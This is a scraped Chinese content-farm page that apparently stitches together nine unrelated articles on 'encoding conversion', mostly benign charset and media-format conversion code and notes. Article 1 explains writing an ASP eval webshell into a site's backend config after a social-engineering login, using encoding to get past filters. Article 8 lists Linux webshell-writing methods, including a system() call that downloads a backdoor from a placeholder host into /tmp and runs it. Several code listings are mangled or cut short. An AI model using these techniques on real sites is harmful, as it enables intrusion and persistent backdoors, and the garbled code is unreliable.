欢迎来到个人简历网!永久域名:gerenjianli.cn (个人简历全拼+cn)
当前位置:首页 > 范文大全 > 实用文>编码转换的艺术,后台写入一句话木马

编码转换的艺术,后台写入一句话木马

2023-08-12 09:10:27 收藏本文 下载本文

“咕咕啾啾”通过精心收集,向本站投稿了9篇编码转换的艺术,后台写入一句话木马,以下是小编为大家准备的编码转换的艺术,后台写入一句话木马,希望对大家有帮助。

编码转换的艺术,后台写入一句话木马

篇1:编码转换的艺术,后台写入一句话木马

一句话木马可以整体来说,为我们渗透者提交了很多的方便...但是时代在进步.程序员的思想也在进步..他们会

想出如何在前台或者后台来过滤你的一句话的特殊字符...

今天下午到检测某XX站点,用社工进入了后台...但是后台根本没有办法让我们拿到shell!也就要用到一句话木马

我们来看下ASP常用的一句话木马格式..

<%eval request(“value”)%>   【示例】

注意:一句话千万别乱提交到配置文件,没有源码建议别到站点测试!!因为很容易破坏到文件..搞到访问不了..这样你不好!

站长也不好对吧?

比如说这个程序.过滤了特殊字符“   <% 

那么我们提交<%eval request(”value“)%>

这样的话整体来说已经提交到配置文件去了..连接下就OK,

编码转换的艺术,后台写入一句话木马

。只是针对而已..建议别转换数字或者英文字母.看情况转换吧.

思路好就行了..

篇2:视音频素材的编码转换

河南省广播电视优秀科技论文一等奖

摘 要:本文提出了作者在实践中总结出的各种视音频文件素材的编码转换方法,并说明了编码转换中的一些原理和技术环节。

关键词:视音频文件格式、编码转换、文件头信息

我们经常从网上、CD 、VCD 中找到很多精彩的视频、动画、图片和声音。在将这些素材导入到非线编辑软件过程中,最大的问题就是格式不一致或编码类型不符合。这给编辑工作带来了极大的遗憾。笔者经过摸索和实验,总结出一套常见素材格式编码转换的方法,在此与大家分享。

首先我们看一下常见能遇到哪些文件格式。视频文件格式常有的: MPEG-1(.mpg .mpeg) 、MPEG-2(.mpg .mpeg) 、MPEG-4(.avi .mp4) 、AVI(.avi) 、divX(.avi) 、WMA(.wma) 、ASF(.asf) 、MOV(.mov) 、RM(.rm) 、DAT ( VCD 中) 、VOB(DVD 中 ) 。要说明的是 MPEG-1 和 MPEG-2 的文件后缀名均为 .mpg ,只是二者编码方式不同。 AVI 文件本身就是一个集合,而非特指某种具体的编码方式,可能包括的编码有 MPEG-1 , MPEG-2 , MPEG-4 ( Microsoft MPEG-4 Video code )和 DIVX 等。 DIVX 和 Microsoft MPEG-4 Video code 同是 mpeg-4 的编码方式,不同的是 DIVX 由 Microsoft MPEG-4 Video codec V3.0 修改而来,是 Divxnet works 公司开发的标准 。在 VCD 影碟中存放的视频文件为 DAT ,在 DVD 影碟中的视频文件是 VOB 。

常见的音频文件格式有: WAV 、MP3 、MPEG 、WMA 、RAM 、CDA 。其中 WAV 本身有多种编码方式,在使用过程中要加以注意。

常见静止图片格式分为点阵图和矢量图,点阵图有 BMP 、JPEG 、TGA 、PSD 等,矢量图有 CDR 、DWG 等 。我们现在的非线编软件大多只使用点阵图,所以原图若是矢量图形,要首先使用矢量图形编辑软件将其导出为点阵图形后再加处理。

还有一些动画文件 FLASH 、GIF 通过格式转换 都可加以利用。

再谈谈转换方法,分为硬件转换和软件转换,区别是是否有专用的硬件板卡参与。在保证转换质量的前提下,我们使用软件来转换,这也比硬件更容易实现。

(一)视频文件和动画文件的转换

通常我们的要求是转为 AVI 或 MPEG-1 MPEG-2 ,这正是大多非线编软件允许导入的文件格式。

1、WinMPG Video Convert

可将 MPEG WMV ASF MP4 MOV SWF DAT(VCD) VOB(DVD) 转为 AVI 。具体的 AVI 编码可自由设定。也可将 AVI 转为 MPEG-1 MPEG-2 (.mpg .mpeg) 。我们使用 WinMPG Video Convert 的好处在于它支持输入较多的文件格式,且对输出 文件可详细设定视音频的编码方式。下图是输出为 AVI 文件时的编码选择窗口。

对于视频部分可以选择编码方式、分辨率、帧率,音频选项除可选择编码方式、采样频率外,还可详细设定码率、质量、是否立体声,甚至可设过滤器,对某一频段之外的声音进行屏蔽,这对除去噪声有很大帮助,见下图。

此外,使用此方法可以选择 AVI to MPG1 和 AVI to VCD ,二者 的共同点是都是输出 MPEG-1 ,只是前者可以手动设置帧率和分辨率(下图),后者输出文件默认按照 VCD 标准,视频为 25.0 fps, 分辨率 352*288 (4:3) ,音频为采样频率 44100 Hz, 双声道。

2、Real 7ime Converter

支持将 RM 等 RealPlayer 流媒体文件 转为 AVI 文件 ,使用前要求系统装有 real player 。

可设置输出 AVI 的编码方式(下图),

经测试, Real 7ime Converter 对视频文件转换是实时的,转换时间等于或稍大于媒体长度。

3、Super DVD Ripper

用于将 DVD 中的 VOB 视频转换为 AVI 。

4、TMPGEnc Plus

支持 AVI 、MPEG-1 转为 MPEG-1 、MPEG-2 。使用向导模式可转换为标准的 VCD 或 DVD ,若要对输出文件进行编码设定,必须使用手工方式。

此方法的主要特点在于对输出的 MPEG 有更详细的编码设置,如设置 MPEG-2 的级别和类别、GOP结构、量化矩阵、码流类型等。对于一些非线编软件或板卡有特殊导入要求的,TMPGEnc Plus将派上用场。

可对 GOP 结构进行设定

5、exe2swf、swf Browser、swf2video

用于全面处理 flash 文件。

exe2swf 可将已生成了可执行文件( .exe )的 flash 文件还原为 swf 文件。

swf Browser 用于对 swf 文件进行分析,可单独将其中的片断 clip 、图像、声音单独提出。

swf2video pro 可以将 swf 转为 AVI (下图) 。

6、gif2avi.exe

用于将 GIF 动画转为 AVI 。

其中 RLE8 Compression 是一种图像的无损压缩方法,只适合压缩 256 色图像数据。

7、视频捕捉HyperCam

用于将 PC 屏幕操作抓为 AVI 文件,可用于宣传片的制作。

要说明的是,由于不支持 DirectX 视频的抓取,所以对屏幕中播放的影片、游戏画面, HyperCam 无能为力。

我们已将各种视频文件转换为大多非线编软件可以导入的格式,但是对于一些依赖板卡的软件来说,必须转换成板卡定义的标准格式才行。比如国产的`创意 21 软件,由于其使用 Matrox 板卡,对通用的视频格式无法导入,这时我们可以利用板卡自带的 DigiTools 软件来实现转换(见下图)。转换输出的文件编码格式为 Matrox MPEG-2 I-frame ,使用 16 进制编辑器查看,可看出 AVI 文件编码中有 Matrox 板卡定义的文件头信息,这也正是非线编软件无法导入同样编码的其它视频文件的原因:对于没有此包头信息的文件,不予接受。

Matrox 板卡的转换工具

(二)音频文件转换

通常非线编软件可导入的音频格式为 wav 或 mp3 。

•windows自带的录音机

常用非线编软件对导入文件有编码方式、采样频率和量化级数的要求。我们常常发现拿来的 wav 文件不被编辑软件识别。最简单的方法是使用操作系统自带的录音机软件对这三方面进行转换和设置。

2、Streambox Ripper

将 RA 、RM 、CDA 、MP3 、WAV 转为 WAV 或 MP3 ,与此同时可设置采样频率及码率。此方式的独特之处在于,可使用均衡器对输出文件针对频段进行音量调整,这样一是可以减少杂音,二是可以改变声音效果。

3、WMA Workshop

WMA 是微软定义的音频文件格式,此格式的文件便于网络传输,同时又保持了较高的音质,在国内外的音乐站点上尤其流行,但是大多数非线编软件却不支持此类格式导入。 WMA Workshop 正可将 WMA 转为 MP3 或 WAV(PCM) 。

可在 Options 中对输出文件进行具体设置

4、WAVmaker

对 MIDI 文件的每个音轨进行重新采样、量化和编码后形成 wav 文件。

5、音频捕捉Audio Record Wizard

对于电话线、麦克风、线入、CD 、辅助(就是声卡)、单声道混音和立体声混音的音频输入,可以使用音频捕捉软件捕捉到从声卡经过的声音流,转为电脑文件。比如我们选择捕捉源为“线入”,可以把接到声卡 Line In 的磁带录音机或 CD 机中播放的声音捕捉下来,很轻松的将磁带声音转换为计算机文件。我们还可选择“立体声混音( Stereo Mixer )”,将电子琴或其他 MIDI 设备的声音录入为电脑文件。

音频捕捉的方式看似可以转换所有的声音文件,但其工作原理并非在源文件的基础上进行格式和编码的转换,而是对“播出”后的效果进行重新采样,因此这种“普适性”是以质量可能的损失为代价的。

(三)不同格式的图片转换

非线编软件图片导入通常要求图片格式为 BMP 、JPEG 、TGA ,除了格式要求之外,还要注意颜色表示的区别,有索引颜色、RGB 颜色、CMYK 颜色等。对于含有遮罩 的图片,图片格式设置为 TGA , 量化级数 32 位, 将遮罩部分 存储为 alpha 通道。这些都可使用 Photoshop 来实现 。

结尾

不得不强调的是,具体的实现必须要看非线编软件的导入要求,文件能否被导入同时取决于文件格式和和编码方式是否符合。此外由于视音频源本身和转换所采用的编码方式不同,转换后的质量无法形成统一的标准,主要以主观评定为准,是否跳帧、分辨率多大、清晰程度(是否有色块,细节是否被模糊)都可作为评定依据。

篇3:Python批量转换文件编码格式

需要将工作目录下的文件进行转码,开始的编码是GBK的,需要将其转换为utf-8的,文件较多,手动转换肯定不行,用Python写个脚本来实现。

自己写的方法,适用于linux,

#!/usr/bin/python#coding=utf-8import sysimport os, os.pathimport dircacheimport commandsdef add(x,y): return x*ydef trans(dirname): lis = dircache.opendir(dirname) for a in lis:af=dirname+os.sep+a## print af if os.path.isdir(af):## print aftrans(af)else: ## print af+”encoding=“+fi.name ft = commands.getoutput(‘file -i ‘+af)## print ft if a.find(‘.htm‘)==-1 and a.find(‘.xml‘)==-1 and ft.find(‘text/‘)!=-1 and ft.find(‘iso-8859‘)!=-1: print ‘gbk‘+ft+”>“+af commands.getoutput(‘iconv -ficonv -f gbk -t utf-8 -c -o‘+”“+af+”“+af)trans(os.getcwd)

py2.6以下版本可用代码

import os,sys def convert( filename, in_enc = ”GBK“, out_enc=”UTF8“ ): try: print ”convert “ + filename, content = open(filename).read() new_content = content.decode(in_enc).encode(out_enc) open(filename, ‘w‘).write(new_content) print ” done“ except: print ” error“ def explore(dir): for root, dirs, files in os.walk(dir): for file in files: path = os.path.join(root, file) convert(path) def main(): for path in sys.argv[1:]: if os.path.isfile(path): convert(path) elif os.path.isdir(path): explore(path) if __name__ == ”__main__“: main()

支持py3.1的版本

import osimport sysimport codecs#该程序用于将目录下的文件从指定格式转换到指定格式,默认的是GBK转到utf-8 def convert(file,in_enc=”GBK“,out_enc=”UTF-8“):try:print (”convert “ +file)f=codecs.open(file,‘r‘,in_enc)new_content=f.read()codecs.open(file,‘w‘,out_enc).write(new_content)#print (f.read())except IOError as err:print (”I/O error: {0}“.format(err))def explore(dir):for root,dirs,files in os.walk(dir):for file in files:path=os.path.join(root,file)convert(path)def main():for path in sys.argv[1:]:if(os.path.isfile(path)):convert(path)elif os.path.isdir(path):explore(path)if __name__==”__main__“:main()

以上所述就是本文 的全部内容了,希望大家能够喜欢,

篇4:vbs实现unicode和ascii编码转换

这篇文章主要介绍了vbs实现unicode和ascii编码转换,本文同时介绍了OpenTextFile和CreateTextFile的使用,需要的朋友可以参考下

一、Copy a Unicode File to an ANSI File

WiToAnsi.vbs文件:

代码如下:

‘ Utility to rewrite a Unicode text file as an ANSI text file

‘ For use with Windows Scripting Host, CScript.exe or WScript.exe

‘ Copyright (c) , Microsoft Corporation

Option Explicit

‘ FileSystemObject.CreateTextFile and FileSystemObject.OpenTextFile

Const OpenAsASCII  = 0

Const penAsUnicode = -1

‘ FileSystemObject.CreateTextFile

Const verwriteIfExist = -1

Const FailIfExist     = 0

‘ FileSystemObject.OpenTextFile

Const OpenAsDefault   = -2

Const CreateIfNotExist = -1

Const FailIfNotExist  = 0

Const ForReading = 1

Const ForWriting = 2

Const ForAppending = 8

Dim argCount:argCount = Wscript.Arguments.Count

If argCount >0 Then If InStr(1, Wscript.Arguments(0), ”?“, vbTextCompare) >0 Then argCount = 0

If (argCount = 0) Then

Wscript.Echo ”Utility to copy Unicode text file to an ANSI text file.“ &_

vbNewLine & ”The 1st argument is the Unicode text file to read“ &_

vbNewLine & ”The 2nd argument is the ANSI text file to write“ &_

vbNewLine & ”If the 2nd argument is omitted, the Unicode file will be replaced“

Wscript.Quit 1

End If

Dim inFile, outFile, inStream, outStream, inLine, FileSys, WshShell

If argCount >1 Then

utFile = Wscript.Arguments(1)

inFile = Wscript.Arguments(0)

Else

utFile = Wscript.Arguments(0)

inFile = outFile & ”.tmp“

Set WshShell = Wscript.CreateObject(”Wscript.Shell“)

WshShell.Run ”cmd.exe /c copy “ & outFile & ” “ & inFile, 0, True

End If

Set FileSys = CreateObject(”Scripting.FileSystemObject“)

Set inStream = FileSys.OpenTextFile(inFile, ForReading, FailIfNotExist, OpenAsDefault)

Set utStream = FileSys.CreateTextFile(outFile, OverwriteIfExist, OpenAsASCII)

Do

inLine = inStream.ReadLine

outStream.WriteLine inLine

Loop Until inStream.AtEndOfStream

inStream.Close

outStream.Close

If argCount = 1 Then WshShell.Run ”cmd.exe /c del “ & inFile, 0

批处理中调用:

代码如下:

cscript. WiToAnsi.vbs [path to Unicode file][path to ANSI file]

二、Copy a ANSI File to an Unicode File

只需对OpenTextFile和CreateTextFile的打开方式做调整即可,

vbs实现unicode和ascii编码转换

三、参考

msdn.microsoft.com/en-us/library/aa368046%28VS.85%29.aspx

四、OpenTextFile和CreateTextFile的使用

CreateTextFile 方法

创建指定文件并返回 TextStream 对象,该对象可用于读或写创建的文件。

代码如下:

object.CreateTextFile(filename[, overwrite[, unicode]])

参数

object

必选项。应为 FileSystemObject 或 Folder 对象的名称。

filename

必选项。字符串表达式,指明要创建的文件。

overwrite

可选项。Boolean 值指明是否可以覆盖现有文件。如果可覆盖文件,该值为 True;如果不能覆盖文件,则该值为 False 。如果省略该值,则不能覆盖现有文件。

unicode

可选项。Boolean 值指明是否以 Unicode 或 ASCII 文件格式创建文件。如果以 Unicode 文件格式创建文件,则该值为 True;如果以 ASCII 文件格式创建文件,则该值为 False。如果省略此部分,则假定创建 ASCII 文件。

OpenTextFile 方法

打开指定的文件并返回一个 TextStream 对象,可以读取、写入此对象或将其追加到文件。

代码如下:

object.OpenTextFile(filename[, iomode[, create[, format]]])

参数

object

必选项。应为 FileSystemObject 对象的名称。

filename

必选项。字符串表达式,指明要打开的文件名称。

iomode

可选项。输入/输出模式,是下列三个常数之一:ForReading,ForWriting,或 ForAppending。

create

可选项。Boolean 值,指出当指定的 filename 不存在时是否能够创建新文件。允许创建新文件时为 True,否则为 False。默认值为 False。

format

可选项。三个 Tristate 值之一,指出以何种格式打开文件。若忽略此参数,则文件以 ASCII 格式打开。

设置

iomode 参数可为下列设置之一:

数值描述ForReading1以只读模式打开文件。不能对此文件进行写操作。ForWriting2以只写方式打开文件。不能对此文件进行读操作。ForAppending8打开文件并在文件末尾进行写操作。

format 参数可为下列设置之一:

常数值描述TristateUseDefault-2以系统默认格式打开文件。TristateTrue-1以 Unicode 格式打开文件。TristateFalse0以 ASCII 格式打开文件。

篇5:不同字符编码格式之间的转换

1、ansi编码

不同的国家和地区制定了不同的标准,由此产生了 GB2312, BIG5, JIS 等各自的编码标准。这些使用2 个字节来代表一个字符的各种汉字延伸编码方式,称为 ANSI 编码。在简体中文系统下,ANSI 编码 代表 GB2312 编码,在日文操作系统下,ANSI 编码代表 JIS 编码。

对于ANSI编码而言,0x00~0x7F之间的字符,依旧是1个字节代表1个字符。这一点是ASNI编码与Unicode编码之间最大也最明显的区别。比如“A君是第131号”,在ANSI编码中,占用12个字节,而在Unicode编码中,占用16个字节。因为A和1、3、1这4个字符,在ANSI编码中只各占1个字节,而在Unicode编码中,是需要各占2个字节的。

2、cp936编码

cp936是微软自己发布的用在文件系统中的编码方式。而bg2312是中国国家标准。

目前Windows的内核已经采用Unicode编码,这样在内核上可以支持全世界所有的语言文字。但是由于现有的大量程序和文档都采用了某种特定语言的编码,例如GBK,Windows不可能不支持现有的编码,而全部改用Unicode。Windows 使用代码页(code page)来适应各个国家和地区。code page可以被理解为前面提到的内码。GBK对应的code page是 CP936。

3、GB2312编码 GB2312(1980年)一共收录了7445个字符,包括6763个汉字和 682个其它符号。汉字区的内码范围高字节从B0-F7,低字节从A1-FE,占用的码位是72*94=6768。其中有5个空位是D7FA-D7FE。

ASCII、GB2312、GBK到GB18030的编码方法是向下兼容的。

的GB18030是取代GBK1.0的正式国家标准。该标准收录了27484个汉字,同时还收录了藏文、蒙文、维吾尔文等主要的少数民族文字。

4、Unicode编码

Unicode也是一种字符编码方法,不过它是由国际组织设计,可以容纳全世界所有语言文字的编码方案。 Unicode的学名是 ”Universal Multiple-Octet Coded Character Set“,简称为UCS。 UCS可以看作是”Unicode Character Set“的缩写。

UTF-8、UTF-7、UTF-16都是被广泛接受的方案。UTF-8的一个特别的好处是它与ISO- 8859-1完全兼容。UTF是 “UCS Transformat ion Format”的缩写。

UTF-8以字节为编码单元,没有字节序的问题。UTF-16以两个字节为编码单元,在解释一个UTF-16文本前,首先要弄清楚每个编码单元的字节序。

UTF-8:UTF意为通用字集转换格式(Universal Character Set Transformation Format),UTF-8是Unicode的8位元格式。如果使用只能在同类位元组内支持8个位元的重要资料一类的旧式传输媒体,可选择UTF-8格式。

Unicode规范中推荐的标记字节顺序的方法是BOM。

在UCS编码中有一个叫做”ZERO WIDTH NO- BREAK SPACE“的字符,它的编码是FEFF。而FFFE在UCS中是不存在的字符,所以不应该出现在实际传输中。UCS规范建议我们在传输字节流前,先传输字符”ZERO WIDTH NO-BREAK SPACE“。这样如果接收者收到FEFF,就表明这个字节流是Big-Endian的;如果收到FFFE,就表明这个字节流是Little-Endian的。因此字符”ZERO WIDTH NO- BREAK SPACE“又被称作BOM。UTF-8不需要BOM来表明字节顺序,但可以用BOM来表明编码方式。字符”ZERO WIDTH NO-BREAK SPACE“的UTF-8编码是EF BB BF(读者可以用我们前面介绍的编码方法验证一下)。所以如果接收者收到以EF BB BF开头的字节流,就知道这是UTF-8编码了。

Windows就是使用BOM来标记文本文件的编码方式的。

ANSI: 无格式定义; Unicode: 前两个字节为FFFE; Unicode big endian: 前两字节为FEFF; UTF-8: 前两字节为EFBB;

篇6:不同字符编码格式之间的转换

im中在线课程搜索功能(双字节转换成单字节)

数学 --》 %E6%95%B0%E5%AD%A6

代码:

//zhang0228 在线课程的搜索功能,将unicode转换为utf8void CSearchWndHC::UrlEncodeUtf8(LPCTSTR pszUrl, LPTSTR pResult, long * plLen){ // TODO: Add your specialized code here. if(pszUrl == NULL) { //*pResult = 0; *plLen = 0; return ; } int iLen = lstrlen(pszUrl); if (pResult == 0) { *plLen = 0; return; } pResult[0]=0; int i = 0; BYTE j,k; BYTE* p=(BYTE* )pszUrl; while(*p) { if((*p <=_T('9') && *p >=_T('0'))||(*p <=_T('z') && *p >=_T('a'))||(*p <=_T('Z') && *p >=_T('A'))) { pResult[i++]=*p++; } else { if(*p <0 ||*p >127) { j= *p/16;k=*p%16; if(j >9) j+=_T('A')-10; else j+=48; if(k >9) k+=_T('A')-10; else k+=48; pResult[i++]=_T('%'); pResult[i++]=j; pResult[i++]=k; p++; j= *p/16;k=*p%16; if(j >9) j+=_T('A')-10; else j+=48; if(k >9) k+=_T('A')-10; else k+=48; pResult[i++]=_T('%'); pResult[i++]=j; pResult[i++]=k; p++; }else { j= *p/16;k=*p%16; if(j >9) j+=_T('A')-10; else j+=48; if(k >9) k+=_T('A')-10; else k+=48; pResult[i++]=_T('%'); pResult[i++]=j; pResult[i++]=k; p++; } } } pResult[i]=0; *plLen = i; //*ppResult = pResult;}//zhang20120228 在线课程的搜索功能,将unicode转换为utf8LPTSTR CSearchWndHC::translateTCHARToUTF_8(LPTSTR xmlStream, int len) { HRESULT hr; IMultiLanguage *pMultiLanguage=NULL; UINT ne=0; UINT two=0; DWORD pdwMode=0; LPTSTR m_setstr=NULL; LPTSTR m_getstr=NULL; LPTSTR finalTCHARBuffer=NULL ; CoInitialize(NULL); hr=CoCreateInstance(CLSID_CMultiLanguage,NULL,CLSCTX_ALL,IID_IMultiLanguage ,(void**)&pMultiLanguage); if( FAILED(hr)) { return 0; } ne=len; m_setstr=(LPTSTR )xmlStream; hr=pMultiLanguage->ConvertString(&pdwMode,COVS_0001,COVS_0030,(unsigned char*)m_setstr,&one,NULL,&two); //hr=pMultiLanguage->ConvertString(&pdwMode,20936,65001,(unsigned char*)m_setstr,&one,NULL,&two); if( FAILED(hr)) { pMultiLanguage->Release; CoUninitialize(); delete[] m_getstr; return 0;} m_getstr=new TCHAR[two + 1]; memset( m_getstr, _T('\0'), two + 1 ); //hr=pMultiLanguage->ConvertString(&pdwMode,20936,65001,(unsigned char*)m_setstr,&one,(unsigned char*)m_getstr,&two); hr=pMultiLanguage->ConvertString(&pdwMode,COVS_0001,COVS_0030,(unsigned char*)m_setstr,&one,(unsigned char*)m_getstr,&two); if( FAILED(hr)) { pMultiLanguage->Release(); CoUninitialize(); delete[] m_getstr; return 0; } pMultiLanguage->Release(); CoUninitialize(); finalTCHARBuffer = new TCHAR[two+1]; memset(finalTCHARBuffer,0,sizeof(finalTCHARBuffer)); memcpy(finalTCHARBuffer,m_getstr,two+1); delete[] m_getstr; return finalTCHARBuffer; pMultiLanguage->Release(); CoUninitialize(); delete[] m_getstr; return 0;}

urlencode函数

数学 --》 %CA%FD%D1%A7

//zhang0804 新添加一个函数,赋值拼http地址串CString CSearchWndHC::URLEncode(CString sIn){ CString sOut; const int nLen = sIn.GetLength() + 1; register LPBYTE pOutTmp = NULL; LPBYTE pOutBuf = NULL; register LPBYTE pInTmp = NULL; LPBYTE pInBuf =(LPBYTE)sIn.GetBuffer(nLen); BYTE b = 0; //alloc out buffer pOutBuf = (LPBYTE)sOut.GetBuffer(nLen*3 - 2);//new BYTE [nLen * 3]; if(pOutBuf) { pInTmp = pInBuf; pOutTmp = pOutBuf; // do encoding while (*pInTmp) { if(isalnum(*pInTmp)) *pOutTmp++ = *pInTmp; else if(isspace(*pInTmp)) *pOutTmp++ = '+'; else { *pOutTmp++ = '%'; *pOutTmp++ = toHex(*pInTmp>>4); *pOutTmp++ = toHex(*pInTmp%16); } pInTmp++; } *pOutTmp = '\0'; //sOut=pOutBuf; //delete [] pOutBuf; sOut.ReleaseBuffer(); } sIn.ReleaseBuffer(); return sOut;}

linux urlEncodeGb2312

数学 --》 %CA%FD%D1%A7

#include #include using namespace std;typedef unsigned char BYTE; BYTE toHex(const BYTE &x) {return x >9 ? x -10 + 'A': x + '0'; } BYTE fromHex(const BYTE &x) {return isdigit(x) ? x-'0' : x-'A'+10; } string URLEncode(const string &sIn) {string sOut;for( size_t ix = 0; ix < sIn.size(); ix++ ){ BYTE buf[4]; memset( buf, 0, 4 ); if( isalnum( (BYTE)sIn[ix] ) ) { buf[0] = sIn[ix]; } //else if ( isspace( (BYTE)sIn[ix] ) ) //貌似把空格编码成%20或者+都可以 //{ // buf[0] = '+'; //} else { buf[0] = '%'; buf[1] = toHex( (BYTE)sIn[ix] >>4 ); buf[2] = toHex( (BYTE)sIn[ix] % 16); } sOut += (char *)buf;}return sOut; }string URLDecode(const string &sIn) {string sOut;for( size_t ix = 0; ix < sIn.size(); ix++ ){ BYTE ch = 0; if(sIn[ix]=='%') { ch = (fromHex(sIn[ix+1])<<4); ch |= fromHex(sIn[ix+2]); ix += 2; } else if(sIn[ix] == '+') { ch = ' '; } else { ch = sIn[ix]; } sOut += (char)ch;}return sOut; } int main(int argc, char* argv[]){ printf(”Hello World!\n“); string str = ”数学zhang“; string ut = URLEncode(str); string instr = URLDecode(out); cout<

篇7:python轻松实现代码编码格式转换

由于某些原因,需要将代码从A机房迁移到B机房,这两个之间不能互相访问,但是历史原因导致A机房的代码全是utf8编码的,B机房要求是GBK编码,看看这个怎么解决,虽然很简单,但是还是要推荐给大家,需要的小伙伴参考下吧。

最近刚换工作不久,没太多的时间去整理工作中的东西,大部分时间都在用来熟悉新公司的业务,熟悉他们的代码框架了,最主要的是还有很多新东西要学,我之前主要是做php后台开发的,来这边之后还要把我半路出家的前端学好、还要学习C++,哈哈,总之很充实了,每天下班回家都可以睡的很香(一句话总结,就是吃得香、睡的香~)。再说说换工作时候吧,今年年初正式毕业半年了,感觉自己技术增长很快,原公司里面程序员的地位还不如运营,所以想换个工作,面试了3家(2家大的、一家小的),都给offer了,当然从大公司里面挑了个各方面综合(工资、干什么、交通等等)还不错的,反正感觉就很顺利的进来了(比毕业的时候容易多了),哈哈,越努力、越幸运,越幸运、越努力!。从这周开始,继续整理博客,免得给自己造成懒得习惯。

刚来这个公司,熟悉了环境,老大就开始让我做一个迁移、修改代码的工作,我想说的是,这种工作真没劲~~,看别人的代码、改别人的代码、这里改个变量、那里改个文件名・・・・・・,都是些没技术含量、很繁琐的事情,不过通过迁移代码顺便熟悉下环境也好。扯了这么多,说说今天的主题吧――代码编码格式改变,由于某些原因,需要将代码从A机房迁移到B机房,这两个之间不能互相访问,但是历史原因导致A机房的代码全是utf8编码的,B机房要求是GBK编码,看看这个怎么解决。

编码问题

先说说为什么会有编码问题,就拿上面那个例子来说,B机房这边数据库全是GBK编码的,因此从数据库中取出来的数据都是GBK的,从数据库中取出来的数据是GBK编码的,要在展示的时候不乱码,在不对数据库取出的数据转换的情况下,就需要发送header的时候设置编码为GBK,输出的文件(html、tpl等)都必须是GBK的,看看下面这个图会更清楚点:

DB(GBK) =>php等(编码格式不限但如果代码文件中有汉字,文件就要是gbk编码或者在汉字输出的时候转化为gbk) =>header(GBK) =>html、tpl(GBK)

或者还有一种方式只在出库的时候在代码中将utf8转化为gbk,总的来说utf8还是更流行点,问题更少点

DB(GBK) =>php等(utf8,并将从数据库取出的数据转化为utf8) =>header(utf8) =>html、tpl(utf8)

只要按照上面这两种规范编码格式,就不会出现乱码情况,起码我测试的第一种方式是没问题的,所以我猜第二种也ok,好了,现在就来写一个转换文件编码格式的小脚本:

#!/usr/bin/python# -*- coding: utf-8 -*-#Filename:changeEncode.pyimport osimport sysdef ChangeEncode(file,fromEncode,toEncode): try: f=open(file) s=f.read() f.close() u=s.decode(fromEncode) s=u.encode(toEncode) f=open(file,”w“); f.write(s) return 0; except: return -1;def Do(dirname,fromEncode,toEncode): for root,dirs,files in os.walk(dirname): for _file in files:_file=os.path.join(root,_file)if(ChangeEncode(_file,fromEncode,toEncode)!=0): print ”[转换失败:]“+_fileelse: print ”[成功:]“+_filedef CheckParam(dirname,fromEncode,toEncode): encode=[”UTF-8“,”GBK“,”gbk“,”utf-8“] if(not fromEncode in encode or not toEncode in encode): return 2 if(fromEncode==toEncode): return 3 if(not os.path.isdir(dirname)): return 1 return 0if __name__==”__main__“: error={1:”第一个参数不是一个有效的文件夹“,3:”源编码和目标编码相同“,2:”您要转化的编码不再范围之内:UTF-8,GBK“} dirname=sys.argv[1] fromEncode=sys.argv[2] toEncode=sys.argv[3] ret=CheckParam(dirname,fromEncode,toEncode) if(ret!=0): print error[ret] else: Do(dirname,fromEncode,toEncode)

脚本很简单,使用也很简单

代码如下:

./changeEncode.py target_dir fromEncode toEncode

这里要注意下,几种常见编码的关系:

us-ascii编码是utf-8编码的一个子集,这个是从stackoverflow上得到的,原文如下ASCII is a subset of UTF-8, so all ASCII files are already UTF-8 encoded,

我试了下确实是的,在不加汉字的时候显示编码为us-ascii,加了汉字之后,变为utf-8,

还有就是ASNI编码格式,这代表是本地编码格式,比如说在简体中文操作系统下,ASNI编码就代表GBK编码,这点还需要注意

还有一点就是一个在linux下查看文件编码格式的命令是:

代码如下:

file -i *

可以看到文件的编码格式。

当然了,上面的可能有些文件中有特殊字符,处理的时候会失败,但一般程序文件是没有问题的。

以上就是本文所述的全部内容了,希望对大家学习python能够有所帮助。

请您花一点时间将文章分享给您的朋友或者留下评论。我们将会由衷感谢您的支持!

篇8:LINUX下写入一句话木马的方法

style=”display:block;padding:0px 10px;“ class=”ContentFont“>注:文章首发I.S.T.O信息安全团队,后由原创作者友情提交到邪恶八进制信息安全团队技术讨论组,I.S.T.O版权所有,需注明作者。

LINUX下写入一句话木马的方法整理:

(1)echo '

(2)echo ”

(3)“system('wget xxxxxx.com/backdoor -P /tmp')”

//wget的-P选项 指定保存的目录的,下载完你可以ls /tmp看下,一般有两个目录肯定可写的/tmp /usr/tmp推荐写/usr/tmp目录,下载好了,chmod +x backdoor 一下,然后执行一下,当然如果是c写的,需要事先编译一下,

篇9:GSM规范中的部分编码转换.net

在做跟手机短信相关的东东时候常遇到各种编码格式数据的转换,特写了几个函数,供参考, function EncodeEnglish(var s:string):string; var i,j,len:Integer; cur:Integer; t:String; begin Result:=''; len:=Length(s); //j 用于移位计数 i:=1;j:=0; while

在做跟手机短信相关的东东时候常遇到各种编码格式数据的转换,特写了几个函数,供参考。

function EncodeEnglish(var s:string):string;

var

i,j,len:Integer;

cur:Integer;

t:String;

begin

Result:='';

len:=Length(s);

//j 用于移位计数

i:=1;j:=0;

while i<=len do

begin

if i

//数据变换

cur:=(ord(s[i]) shr j) or ((ord(s[i+1]) shl (7-j)) and $ff)

else

cur:=(ord(s[i]) shr j) and $7f;

FmtStr(t,'%2.2X',[cur]);

Result:=Result+t;

inc(i);

//移位计数达到7位的特别处理

j:=(j+1) mod 7;

if j=0 then inc(i);

end;

end;

//end;

function BinaryUniCode2Gb2312(ABinaryString:PChar;APosStart,APosEnd:integer):string;

var

i,iLen:integer;

AscHexText,TmpHexStr:string;

AsciiInt:integer ;

AscLen,AscUniLen:integer;

UniHexstr,GB2312:string;

begin

iLen:=Length(ABinaryString);

for i:= APosStart-1 to APosEnd-1 do

begin

AsciiInt:=ord(ABinaryString[i]);

TmpHexStr:=Format('%x',[AsciiInt]);

if length(TmpHexStr)=1 then

TmpHexStr:='0'+TmpHexStr;

AscHexText:=AscHexText+TmpHexStr;

end; //for

AscLen:=Length(AscHexText);

AscUniLen:=AscLen div 4;

for i:=0 to AscUniLen-1 do

begin

UniHexstr:=Copy(AscHexText,i*4+1,4);

// Gb2312 := Gb2312 + UnicodeToGb2312(HexAscii2DecimalInt(uniHexstr));

end; // for

result := Gb2312 ;

end;

function WideStringToUnicode_Ex(s:WideString;ADestStr:PChar;Limit:integer):integer;

var sLen:integer;

buffer:array[1..1024] of char;

tmpchar:char;

i:integer;

begin

sLen:=Length(s);

if sLen>0 then

begin

CopyMemory(@buffer,Pointer(s),2*SLen);

for i:=0 to SLen-1 do

